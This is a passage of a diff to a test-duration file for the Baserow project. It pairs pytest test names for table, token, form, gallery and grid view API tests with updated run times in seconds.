0.18242166599975462, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_loading_form_views_does_not_increase_the_number_of_queries": 0.16619904300023336, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_meta_submit_form_view": 0.6227047500005938, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_condition_groups_create": 0.18283445900033257, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_condition_groups_delete": 0.18523795800138032, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_condition_groups_delete_num_queries": 0.21270720799839182, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_condition_groups_update": 0.19683070799965208, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_conditions_can_be_nested": 0.21540924899909442, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_conditions_create": 0.18163012599961803, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_conditions_create_invalid_field": 0.17947445800018613, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_conditions_create_num_queries": 0.20221075099925656, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_conditions_delete": 0.18172495900034846, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_conditions_delete_num_queries": 0.20141737600079068, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_conditions_update": 0.18140354199931608, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_conditions_update_num_queries": 0.21081937499911874, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_conditions_update_position": 0.18812445799994748, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_multiple_form_view_field_options_conditions_update": 0.18586695899921324, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_submit_empty_form_view_for_interesting_test_table": 3.8497396680004385, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_submit_form_view": 0.4165635419994942, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_submit_form_view_for_required_number_field_with_0": 0.17104187399945658, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_submit_form_view_skip_required_with_conditions": 0.20149704199866392, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_submit_form_with_link_row_field": 0.20544074999997974, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_submit_password_protected_form_view_requires_authorization": 0.48265587399964716, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_test_enable_form_view_file_field_options": 0.1607823330004976, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_update_form_view": 0.4776725419987997, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_update_form_view_invalid_mode": 0.16262087399991287, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_upload_file_form_view_does_not_exist": 0.03141304200016748, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_upload_file_view": 0.21044720900044922, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_upload_file_view_form_is_password_protected": 0.3353227080006036, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_upload_file_view_with_a_rich_text_field_is_possible": 0.05092483299995365, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_upload_file_view_with_no_public_file_field": 0.0510818750008184, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_user_can_update_form_to_receive_notification": 0.32075008299943875, - "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_create_gallery_view": 0.17051616700064187, - "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_create_gallery_view_invalid_card_card_cover_image_field": 0.16788370799986296, - "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_get_public_gallery_view": 0.17384058399875357, - "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_gallery_rows_adhoc_filtering_advanced_filters": 0.2724296250007683, - "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_gallery_rows_adhoc_filtering_advanced_filters_are_preferred_to_other_filter_query_params": 0.18419895799888764, - "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_gallery_rows_adhoc_filtering_invalid_advanced_filters": 0.16890504199909628, - "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_gallery_rows_adhoc_filtering_overrides_existing_filters": 0.18774495799971191, - "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_gallery_rows_adhoc_filtering_query_param_filter": 0.21653078999952413, - "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows": 0.24976041699937923, - "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_include_field_options": 0.22015074899991305, - "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_public_doesnt_show_hidden_columns": 0.20373850000214588, - "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_public_filters_by_visible_and_hidden_columns": 0.20619062499918073, + "tests/baserow/contrib/database/api/tables/test_table_views.py::test_create_table": 0.22735012401244603, + "tests/baserow/contrib/database/api/tables/test_table_views.py::test_create_table_with_data": 0.3513589159992989, + "tests/baserow/contrib/database/api/tables/test_table_views.py::test_create_table_with_data_sync": 0.500416999013396, + "tests/baserow/contrib/database/api/tables/test_table_views.py::test_delete_table": 0.15434620797168463, + "tests/baserow/contrib/database/api/tables/test_table_views.py::test_delete_table_still_if_locked_for_key_share": 0.34717287399689667, + "tests/baserow/contrib/database/api/tables/test_table_views.py::test_get_database_application_with_tables": 0.1533264170284383, + "tests/baserow/contrib/database/api/tables/test_table_views.py::test_get_table": 0.145118875982007, + "tests/baserow/contrib/database/api/tables/test_table_views.py::test_import_table_call": 0.16834158296114765, + "tests/baserow/contrib/database/api/tables/test_table_views.py::test_list_all_tables_access_jwt_token": 0.16123695898568258, + "tests/baserow/contrib/database/api/tables/test_table_views.py::test_list_all_tables_access_no_authentication": 0.01827999998931773, + "tests/baserow/contrib/database/api/tables/test_table_views.py::test_list_all_tables_access_to_none": 0.16977100001531653, + "tests/baserow/contrib/database/api/tables/test_table_views.py::test_list_all_tables_access_to_one_specific_database": 0.17716412400477566, + "tests/baserow/contrib/database/api/tables/test_table_views.py::test_list_all_tables_access_to_one_specific_table": 0.18738100002519786, + "tests/baserow/contrib/database/api/tables/test_table_views.py::test_list_all_tables_access_to_specific_all_in_workspace": 0.16776300003402866, + "tests/baserow/contrib/database/api/tables/test_table_views.py::test_list_all_tables_access_to_specific_database_and_table": 0.1727137920097448, + "tests/baserow/contrib/database/api/tables/test_table_views.py::test_list_all_tables_access_to_two_specific_tables": 0.18026408398873173, + "tests/baserow/contrib/database/api/tables/test_table_views.py::test_list_tables": 0.17386237499886192, + "tests/baserow/contrib/database/api/tables/test_table_views.py::test_list_tables_doesnt_do_n_queries_per_tables": 0.17750949901528656, + "tests/baserow/contrib/database/api/tables/test_table_views.py::test_list_tables_with_data_sync": 0.2093540419882629, + "tests/baserow/contrib/database/api/tables/test_table_views.py::test_order_tables": 0.17052612497354858, + "tests/baserow/contrib/database/api/tables/test_table_views.py::test_update_table": 0.16686816606670618, + "tests/baserow/contrib/database/api/tables/test_table_views.py::test_update_table_works_if_locked_for_key_share": 0.36840758300968446, + "tests/baserow/contrib/database/api/tokens/test_token_views.py::test_cannot_get_row_metadata_from_token": 0.11674387595849112, + "tests/baserow/contrib/database/api/tokens/test_token_views.py::test_check_token": 0.10188579201349057, + "tests/baserow/contrib/database/api/tokens/test_token_views.py::test_create_token": 0.12577712498023175, + "tests/baserow/contrib/database/api/tokens/test_token_views.py::test_delete_token": 0.20793504200992174, + "tests/baserow/contrib/database/api/tokens/test_token_views.py::test_get_token": 0.21683399999164976, + "tests/baserow/contrib/database/api/tokens/test_token_views.py::test_list_tokens": 0.10017066801083274, + "tests/baserow/contrib/database/api/tokens/test_token_views.py::test_trashing_table_hides_restores_tokens": 0.19189704200834967, + "tests/baserow/contrib/database/api/tokens/test_token_views.py::test_update_token": 0.2860205409815535, + "tests/baserow/contrib/database/api/utils/test_database_api_utils.py::test_extract_link_row_joins_from_request": 0.1566095000016503, + "tests/baserow/contrib/database/api/utils/test_database_api_utils.py::test_extract_link_row_joins_from_request_invalid_reference": 0.21979245901457034, + "tests/baserow/contrib/database/api/utils/test_database_api_utils.py::test_extract_link_row_joins_from_request_invalid_reference_user_field_names": 0.23803933302406222, + "tests/baserow/contrib/database/api/utils/test_database_api_utils.py::test_extract_link_row_joins_from_request_multiple_lookups": 0.17796158301644027, + "tests/baserow/contrib/database/api/utils/test_database_api_utils.py::test_extract_link_row_joins_from_request_user_field_names": 0.14679816798889078, + "tests/baserow/contrib/database/api/views/form/test_form_view_actions.py::test_can_undo_update_view_receive_notification_on_submit": 0.16818674898240715, + "tests/baserow/contrib/database/api/views/form/test_form_view_actions.py::test_submit_form_emit_action_done_signal": 0.15793450095225126, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_can_use_link_row_field_to_table_with_formula_as_primary_key_in_form_view": 0.30732454199460335, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_cannot_enable_read_only_field": 0.14412616600748152, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_changing_password_of_a_public_password_protected_form_view_invalidate_previous_tokens": 0.37411604198860005, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_create_form_view": 0.3362720840086695, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_create_form_view_with_webhooks": 0.37033416601479985, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_form_view_link_row_lookup_view": 0.44031187499058433, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_form_view_link_row_lookup_view_with_link_row_limit_selection_view": 0.23218200000701472, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_form_view_multiple_collaborators_field_options": 0.1572177080088295, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_get_form_view_field_options": 0.18043479201151058, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_get_select_options_in_field_options": 0.18282629101304337, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_loading_form_views_does_not_increase_the_number_of_queries": 0.15204874996561557, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_meta_submit_form_view": 0.42639287500060163, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_meta_submit_form_view_allowed_select_options_override": 0.20939233296667226, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_condition_groups_create": 0.1815908330027014, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_condition_groups_delete": 0.17668616597075015, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_condition_groups_delete_num_queries": 0.24026970900013112, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_condition_groups_update": 0.21249283404904418, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_conditions_can_be_nested": 0.2549293330521323, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_conditions_create": 0.17829470898141153, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_conditions_create_invalid_field": 0.16691062599420547, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_conditions_create_num_queries": 0.2254049589682836, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_conditions_delete": 0.18276812502881512, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_conditions_delete_num_queries": 0.23115220799809322, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_conditions_update": 0.19049516602535732, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_conditions_update_num_queries": 0.24176229201839305, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_form_view_field_options_conditions_update_position": 0.19454904200392775, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_multiple_form_view_field_options_conditions_update": 0.18888133400469087, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_select_options_in_field_options": 0.2030432080209721, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_patch_select_options_in_field_options_num_queries": 0.23310091698658653, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_prevent_patch_select_options_in_field_options_of_unrelated_field": 0.17497170803835616, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_submit_empty_form_view_for_interesting_test_table": 27.416215957986424, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_submit_form_view": 0.5214966660132632, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_submit_form_view_for_required_number_field_with_0": 0.17218200000934303, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_submit_form_view_skip_required_with_conditions": 0.2421235420042649, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_submit_form_view_with_allowed_select_options_override_multiple_select": 0.2261750419565942, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_submit_form_view_with_allowed_select_options_override_single_select": 0.23550333399907686, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_submit_form_with_data_sync": 0.18427170801442116, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_submit_form_with_link_row_field": 0.2724516250018496, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_submit_password_protected_form_view_requires_authorization": 0.4242142919974867, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_test_enable_form_view_file_field_options": 0.1416537489858456, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_update_form_view": 0.336053708975669, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_update_form_view_invalid_mode": 0.1290177920309361, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_upload_file_form_view_does_not_exist": 0.04776558297453448, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_upload_file_view": 0.17397537495708093, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_upload_file_view_form_is_password_protected": 0.2924018320045434, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_upload_file_view_with_a_rich_text_field_is_possible": 0.10307645797729492, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_upload_file_view_with_no_public_file_field": 0.07771337503800169, + "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_user_can_update_form_to_receive_notification": 0.2903021250094753, + "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_create_gallery_view": 0.156925915973261, + "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_create_gallery_view_invalid_card_card_cover_image_field": 0.16164295701310039, + "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_create_gallery_view_with_lookup_as_card_card_cover_image_field": 0.446415500016883, + "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_get_public_gallery_view": 0.1495544160134159, + "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_gallery_rows_adhoc_filtering_advanced_filters": 0.2780836249876302, + "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_gallery_rows_adhoc_filtering_advanced_filters_are_preferred_to_other_filter_query_params": 0.18092187400907278, + "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_gallery_rows_adhoc_filtering_invalid_advanced_filters": 0.15242912498069927, + "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_gallery_rows_adhoc_filtering_overrides_existing_filters": 0.17619133295374922, + "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_gallery_rows_adhoc_filtering_query_param_filter": 0.17286712300847284, + "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows": 0.3066898740362376, + "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_include_field_options": 0.1678174169792328, + "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_public_doesnt_show_hidden_columns": 0.17391541597316973, + "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_public_filters_by_visible_and_hidden_columns": 0.20732562500052154, "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_public_only_searches_by_visible_columns": 0.13120555600107764, - "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_public_only_searches_by_visible_columns[compat]": 0.2031193329994494, - "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_public_only_searches_by_visible_columns[full-text-with-count]": 0.21504316800019296, - "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_public_with_query_param_advanced_filters": 0.2510752499993032, - "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_public_with_query_param_filter": 0.2394359589998203, - "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_public_with_query_param_order": 0.26019633400028397, + "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_public_only_searches_by_visible_columns[compat]": 0.44846633297856897, + "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_public_only_searches_by_visible_columns[full-text-with-count]": 0.4589764160045888, + "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_public_with_query_param_advanced_filters": 0.3052245419821702, + "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_public_with_query_param_filter": 0.2390637929784134, + "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_public_with_query_param_order": 0.25767554200137965, "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_search": 0.0910365739982808, - "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_search[compat]": 0.1723238329996093, - "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_search[full-text-with-count]": 0.1745630010000241, - "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_with_query_param_order": 0.26621487400007027, - "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_patch_gallery_view_field_options": 0.17026304100090783, - "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_update_gallery_view": 0.16416233299969463, + "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_search[compat]": 0.38029483301215805, + "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_search[full-text-with-count]": 0.3854016240220517, + "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_list_rows_with_query_param_order": 0.22811058201477863, + "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_patch_gallery_view_field_options": 0.14551837398903444, + "tests/baserow/contrib/database/api/views/gallery/test_gallery_view_views.py::test_update_gallery_view": 0.1332822920230683, "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_anon_user_cant_get_info_about_a_non_public_grid_view": 0.07494551499985391, "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_anon_user_cant_get_info_about_a_public_password_protected_grid_view": 0.13528148800105555, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_can_get_aggregation_if_result_is_nan": 0.17529154200110497, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_can_get_public_aggregation_if_result_is_nan": 0.06203850000019884, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_can_get_aggregation_if_result_is_nan": 0.18469612501212396, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_can_get_public_aggregation_if_result_is_nan": 0.1736747499962803, "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_cannot_get_info_about_non_grid_view": 0.08084331400095834, "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_cannot_get_info_about_trashed_grid_view": 0.07777136600270751, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_create_grid_view": 0.24606433299959463, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_field_aggregation": 0.3031602089995431, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_get_public_grid_view": 0.38329591599995183, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_grid_view_link_row_lookup_view": 0.5821198330004336, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_invalid_search_mode_raises": 0.1494790840006317, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_filtered_rows": 0.2294532079995406, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_grid_rows_adhoc_filtering_advanced_filters": 0.24006633299995883, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_grid_rows_adhoc_filtering_advanced_filters_are_preferred_to_other_filter_query_params": 0.18088370700024825, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_grid_rows_adhoc_filtering_invalid_advanced_filters": 0.1653115010003603, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_grid_rows_adhoc_filtering_overrides_existing_filters": 0.1782064150002043, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_grid_rows_adhoc_filtering_query_param_filter": 0.2234663739991447, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_grid_rows_adhoc_filtering_query_param_null_character": 0.18360554200080514, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows": 0.3291150840004775, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_include_field_options": 0.1998222080001142, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_include_fields": 0.29791545900116034, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_include_row_metadata": 0.18409049999991112, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_advanced_filters_are_preferred_to_other_filter_query_params": 0.18475808300081553, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_doesnt_show_hidden_columns": 0.17924874999971507, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_filters_by_visible_and_hidden_columns": 0.20447833300022467, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_create_grid_view": 0.21650116698583588, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_field_aggregation": 0.2779859989823308, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_get_public_grid_view": 0.14752120900084265, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_grid_view_link_row_lookup_view": 0.6645158320025075, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_invalid_search_mode_raises": 0.11244175097090192, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_filtered_rows": 0.24249316798523068, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_grid_rows_adhoc_filtering_advanced_filters": 0.27923716700752266, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_grid_rows_adhoc_filtering_advanced_filters_are_preferred_to_other_filter_query_params": 0.17978295797365718, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_grid_rows_adhoc_filtering_invalid_advanced_filters": 0.14812899997923523, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_grid_rows_adhoc_filtering_overrides_existing_filters": 0.1703748739673756, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_grid_rows_adhoc_filtering_query_param_filter": 0.2379020839871373, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_grid_rows_adhoc_filtering_query_param_null_character": 0.1655118340277113, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows": 0.5173887090058997, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_include_field_options": 0.18136591601069085, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_include_fields": 0.40715208399342373, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_include_row_metadata": 0.17617845800123177, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_advanced_filters_are_preferred_to_other_filter_query_params": 0.18021862499881536, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_doesnt_show_hidden_columns": 0.17202987399650738, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_filters_by_visible_and_hidden_columns": 0.20089925001957454, "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_only_searches_by_visible_columns": 0.1254378599987831, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_only_searches_by_visible_columns[compat]": 0.20863891699991655, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_only_searches_by_visible_columns[full-text-with-count]": 0.23049320900008752, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_with_invalid_advanced_filters": 0.17325650000020687, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_with_query_param_advanced_filters": 0.24448675000076037, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_with_query_param_filter": 0.2225245410008938, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_with_query_param_group_by": 0.28164408300017385, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_with_query_param_group_by_and_empty_order_by": 0.2699298759998783, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_with_query_param_order": 0.24500087499927758, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_with_group_by": 0.21870537500035425, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_with_group_by_with_filter": 0.17941541700110974, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_with_query_param_order": 0.25933466799961025, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_patch_grid_view_field_options": 0.3463408329989761, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations": 0.34924929199951293, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_accessed_with_password": 0.29141975100083073, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_adhoc_filtering_advanced_filters_are_preferred_to_other_filter_query_params": 0.1927689999993163, - "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_public_view_aggregations_adhoc_filtering_invalid_advanced_filters": 0.1766092080006274, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_only_searches_by_visible_columns[compat]": 0.45491699999547563, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_only_searches_by_visible_columns[full-text-with-count]": 0.46466633296222426, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_with_invalid_advanced_filters": 0.17375775100663304, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_with_query_param_advanced_filters": 0.25019604197586887, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_with_query_param_filter": 0.2578687089844607, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_with_query_param_group_by": 0.25867512499098666, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_with_query_param_group_by_and_empty_order_by": 0.26933391601778567, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_with_query_param_group_by_and_type": 0.1880518749821931, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_public_with_query_param_order": 0.22569970902986825, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_with_group_by": 0.1939716250053607, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_with_group_by_with_filter": 0.17541091699968092, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_with_limit_and_invalid_numbers": 0.23091162502532825, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_with_limit_without_count": 0.19851204301812686, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_with_page_and_invalid_numbers": 0.20478891700622626, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_with_page_without_count": 0.18611775001045316, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_list_rows_with_query_param_order": 0.2209504990314599, + "tests/baserow/contrib/database/api/views/grid/test_grid_view_views.py::test_patch_grid_view_field_options": 0.2962854159704875, + 